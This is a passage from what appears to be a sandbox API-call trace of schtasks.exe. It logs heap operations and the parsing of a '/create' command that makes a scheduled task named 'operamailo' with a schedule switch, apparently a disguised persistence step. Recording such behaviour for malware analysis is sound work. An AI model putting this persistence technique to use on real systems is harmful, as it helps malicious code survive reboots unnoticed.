hHeap=0x440000) returned 1 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd50) returned 1 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd50) returned 0x20 [0136.707] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd50 | out: hHeap=0x440000) returned 1 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d560) returned 1 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d560) returned 0x10 [0136.707] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d560 | out: hHeap=0x440000) returned 1 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd80) returned 1 [0136.707] GetProcessHeap () returned 0x440000 [0136.707] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd80) returned 0x20 [0136.708] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd80 | out: hHeap=0x440000) returned 1 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45dd30) returned 1 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45dd30) returned 0x6 [0136.708] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45dd30 | out: hHeap=0x440000) returned 1 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cdb0) returned 1 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cdb0) returned 0x20 [0136.708] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cdb0 | out: hHeap=0x440000) returned 1 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45b990) returned 1 [0136.708] GetProcessHeap () returned 0x440000 [0136.708] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45b990) returned 0x18 [0136.709] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b990 | out: hHeap=0x440000) returned 1 [0136.709] SetLastError (dwErrCode=0x0) [0136.709] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0136.709] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0136.709] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0136.709] VerifyVersionInfoW (in: lpVersionInformation=0x25c150, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25c150) returned 1 [0136.709] SetLastError (dwErrCode=0x0) [0136.709] lstrlenW (lpString="create") returned 6 [0136.709] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0136.709] SetLastError (dwErrCode=0x490) [0136.709] SetLastError (dwErrCode=0x0) [0136.709] lstrlenW (lpString="create") returned 6 [0136.709] GetProcessHeap () returned 0x440000 [0136.710] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cdb0 [0136.710] GetProcessHeap () returned 0x440000 [0136.710] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45d560 [0136.710] _memicmp (_Buf1=0x45d560, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.710] GetProcessHeap () returned 0x440000 [0136.710] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x16) returned 0x45d4e0 [0136.710] SetLastError (dwErrCode=0x0) [0136.710] _memicmp (_Buf1=0x45ba50, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.710] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0136.710] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0136.710] GetProcessHeap () returned 0x440000 [0136.710] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x74e) returned 0x45dc90 [0136.710] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x45dc90 | out: lpData=0x45dc90) returned 1 [0136.711] VerQueryValueW (in: pBlock=0x45dc90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25c238, puLen=0x25c2a0 | out: lplpBuffer=0x25c238*=0x45e02c, puLen=0x25c2a0) returned 1 [0136.711] _memicmp (_Buf1=0x45ba50, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.711] _vsnwprintf (in: _Buffer=0x45bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25c218 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0136.711] VerQueryValueW (in: pBlock=0x45dc90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25c2a8, puLen=0x25c298 | out: lplpBuffer=0x25c2a8*=0x45de58, puLen=0x25c298) returned 1 [0136.711] lstrlenW (lpString="schtasks.exe") returned 12 [0136.711] lstrlenW (lpString="schtasks.exe") returned 12 [0136.711] lstrlenW (lpString=".EXE") returned 4 [0136.711] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0136.711] lstrlenW (lpString="schtasks.exe") returned 12 [0136.711] lstrlenW (lpString=".EXE") returned 4 [0136.711] lstrlenW (lpString="schtasks") returned 8 [0136.711] lstrlenW (lpString="/create") returned 7 [0136.711] _memicmp (_Buf1=0x45ba50, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.711] _vsnwprintf (in: _Buffer=0x45bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x25c218 | out: _Buffer="schtasks /create") returned 16 [0136.712] _memicmp (_Buf1=0x45ba70, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.712] GetProcessHeap () returned 0x440000 [0136.712] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd80 [0136.712] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.712] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0136.712] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0136.712] GetProcessHeap () returned 0x440000 [0136.712] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x30) returned 0x457a90 [0136.712] _vsnwprintf (in: _Buffer=0x45bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25c218 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0136.712] GetProcessHeap () returned 0x440000 [0136.712] GetProcessHeap () returned 0x440000 [0136.712] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45dc90) returned 1 [0136.712] GetProcessHeap () returned 0x440000 [0136.712] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45dc90) returned 0x74e [0136.712] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45dc90 | out: hHeap=0x440000) returned 1 [0136.713] SetLastError (dwErrCode=0x0) [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="create") returned 6 [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="?") returned 1 [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="s") returned 1 [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="u") returned 1 [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="p") returned 1 [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="ru") returned 2 [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="rp") returned 2 [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="sc") returned 2 [0136.713] GetThreadLocale () returned 0x409 [0136.713] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.713] lstrlenW (lpString="mo") returned 2 [0136.713] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="d") returned 1 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="m") returned 1 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="i") returned 1 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="tn") returned 2 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="tr") returned 2 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="st") returned 2 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="sd") returned 2 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="ed") returned 2 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="it") returned 2 [0136.714] GetThreadLocale () returned 0x409 [0136.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.714] lstrlenW (lpString="et") returned 2 [0136.714] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="k") returned 1 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="du") returned 2 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="ri") returned 2 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="z") returned 1 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="f") returned 1 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="v1") returned 2 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="xml") returned 3 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="ec") returned 2 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.715] lstrlenW (lpString="rl") returned 2 [0136.715] GetThreadLocale () returned 0x409 [0136.715] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.716] lstrlenW (lpString="delay") returned 5 [0136.716] GetThreadLocale () returned 0x409 [0136.716] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.716] lstrlenW (lpString="np") returned 2 [0136.716] SetLastError (dwErrCode=0x0) [0136.716] SetLastError (dwErrCode=0x0) [0136.716] lstrlenW (lpString="/create") returned 7 [0136.716] lstrlenW (lpString="-/") returned 2 [0136.716] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.716] lstrlenW (lpString="create") returned 6 [0136.716] lstrlenW (lpString="create") returned 6 [0136.716] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.716] lstrlenW (lpString="create") returned 6 [0136.716] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.716] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|create|") returned 8 [0136.716] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|create|") returned 8 [0136.716] lstrlenW (lpString="|create|") returned 8 [0136.716] lstrlenW (lpString="|create|") returned 8 [0136.716] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0136.716] SetLastError (dwErrCode=0x0) [0136.716] SetLastError (dwErrCode=0x0) [0136.716] SetLastError (dwErrCode=0x0) [0136.716] lstrlenW (lpString="/tn") returned 3 [0136.716] lstrlenW (lpString="-/") returned 2 [0136.716] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.716] lstrlenW (lpString="create") returned 6 [0136.716] lstrlenW (lpString="create") returned 6 [0136.717] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.717] lstrlenW (lpString="tn") returned 2 [0136.717] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.717] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|create|") returned 8 [0136.717] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.717] lstrlenW (lpString="|create|") returned 8 [0136.717] lstrlenW (lpString="|tn|") returned 4 [0136.717] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0136.717] SetLastError (dwErrCode=0x490) [0136.717] lstrlenW (lpString="?") returned 1 [0136.717] lstrlenW (lpString="?") returned 1 [0136.717] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.717] lstrlenW (lpString="tn") returned 2 [0136.717] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.717] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|?|") returned 3 [0136.717] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.717] lstrlenW (lpString="|?|") returned 3 [0136.717] lstrlenW (lpString="|tn|") returned 4 [0136.717] SetLastError (dwErrCode=0x490) [0136.717] lstrlenW (lpString="s") returned 1 [0136.717] lstrlenW (lpString="s") returned 1 [0136.717] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.717] lstrlenW (lpString="tn") returned 2 [0136.717] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.717] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|s|") returned 3 [0136.718] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.718] lstrlenW (lpString="|s|") returned 3 [0136.718] lstrlenW (lpString="|tn|") returned 4 [0136.718] SetLastError (dwErrCode=0x490) [0136.718] lstrlenW (lpString="u") returned 1 [0136.718] lstrlenW (lpString="u") returned 1 [0136.718] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.718] lstrlenW (lpString="tn") returned 2 [0136.718] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.718] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|u|") returned 3 [0136.718] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.718] lstrlenW (lpString="|u|") returned 3 [0136.718] lstrlenW (lpString="|tn|") returned 4 [0136.718] SetLastError (dwErrCode=0x490) [0136.718] lstrlenW (lpString="p") returned 1 [0136.718] lstrlenW (lpString="p") returned 1 [0136.718] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.718] lstrlenW (lpString="tn") returned 2 [0136.718] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.718] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|p|") returned 3 [0136.718] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.718] lstrlenW (lpString="|p|") returned 3 [0136.718] lstrlenW (lpString="|tn|") returned 4 [0136.718] SetLastError (dwErrCode=0x490) [0136.718] lstrlenW (lpString="ru") returned 2 [0136.719] lstrlenW (lpString="ru") returned 2 [0136.719] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.719] lstrlenW (lpString="tn") returned 2 [0136.719] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.719] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ru|") returned 4 [0136.719] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.719] lstrlenW (lpString="|ru|") returned 4 [0136.719] lstrlenW (lpString="|tn|") returned 4 [0136.719] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0136.719] SetLastError (dwErrCode=0x490) [0136.719] lstrlenW (lpString="rp") returned 2 [0136.719] lstrlenW (lpString="rp") returned 2 [0136.719] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.719] lstrlenW (lpString="tn") returned 2 [0136.719] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.719] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rp|") returned 4 [0136.719] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.719] lstrlenW (lpString="|rp|") returned 4 [0136.719] lstrlenW (lpString="|tn|") returned 4 [0136.719] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0136.719] SetLastError (dwErrCode=0x490) [0136.719] lstrlenW (lpString="sc") returned 2 [0136.719] lstrlenW (lpString="sc") returned 2 [0136.719] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.719] lstrlenW (lpString="tn") returned 2 [0136.720] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.720] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.720] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.720] lstrlenW (lpString="|sc|") returned 4 [0136.720] lstrlenW (lpString="|tn|") returned 4 [0136.720] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0136.720] SetLastError (dwErrCode=0x490) [0136.720] lstrlenW (lpString="mo") returned 2 [0136.720] lstrlenW (lpString="mo") returned 2 [0136.720] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.720] lstrlenW (lpString="tn") returned 2 [0136.720] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.720] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.720] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.720] lstrlenW (lpString="|mo|") returned 4 [0136.720] lstrlenW (lpString="|tn|") returned 4 [0136.720] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0136.720] SetLastError (dwErrCode=0x490) [0136.720] lstrlenW (lpString="d") returned 1 [0136.720] lstrlenW (lpString="d") returned 1 [0136.720] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.720] lstrlenW (lpString="tn") returned 2 [0136.720] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.720] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|d|") returned 3 [0136.721] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.721] lstrlenW (lpString="|d|") returned 3 [0136.721] lstrlenW (lpString="|tn|") returned 4 [0136.721] SetLastError (dwErrCode=0x490) [0136.721] lstrlenW (lpString="m") returned 1 [0136.721] lstrlenW (lpString="m") returned 1 [0136.721] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.721] lstrlenW (lpString="tn") returned 2 [0136.721] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.721] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|m|") returned 3 [0136.721] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.721] lstrlenW (lpString="|m|") returned 3 [0136.721] lstrlenW (lpString="|tn|") returned 4 [0136.721] SetLastError (dwErrCode=0x490) [0136.721] lstrlenW (lpString="i") returned 1 [0136.721] lstrlenW (lpString="i") returned 1 [0136.721] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.721] lstrlenW (lpString="tn") returned 2 [0136.721] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.721] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|i|") returned 3 [0136.721] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.721] lstrlenW (lpString="|i|") returned 3 [0136.721] lstrlenW (lpString="|tn|") returned 4 [0136.721] SetLastError (dwErrCode=0x490) [0136.721] lstrlenW (lpString="tn") returned 2 [0136.721] lstrlenW (lpString="tn") returned 2 [0136.721] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.722] lstrlenW (lpString="tn") returned 2 [0136.722] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.722] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.722] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.722] lstrlenW (lpString="|tn|") returned 4 [0136.722] lstrlenW (lpString="|tn|") returned 4 [0136.722] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0136.722] SetLastError (dwErrCode=0x0) [0136.722] SetLastError (dwErrCode=0x0) [0136.722] lstrlenW (lpString="operamailo") returned 10 [0136.722] lstrlenW (lpString="-/") returned 2 [0136.722] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0136.722] SetLastError (dwErrCode=0x490) [0136.722] SetLastError (dwErrCode=0x490) [0136.722] SetLastError (dwErrCode=0x0) [0136.722] lstrlenW (lpString="operamailo") returned 10 [0136.722] StrChrIW (lpStart="operamailo", wMatch=0x3a) returned 0x0 [0136.722] SetLastError (dwErrCode=0x490) [0136.722] SetLastError (dwErrCode=0x0) [0136.722] lstrlenW (lpString="operamailo") returned 10 [0136.722] SetLastError (dwErrCode=0x0) [0136.722] SetLastError (dwErrCode=0x0) [0136.722] lstrlenW (lpString="/sc") returned 3 [0136.722] lstrlenW (lpString="-/") returned 2 [0136.722] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.722] lstrlenW (lpString="create") returned 6 [0136.722] lstrlenW (lpString="create") returned 6 [0136.722] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.723] lstrlenW (lpString="sc") returned 2 [0136.723] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.723] 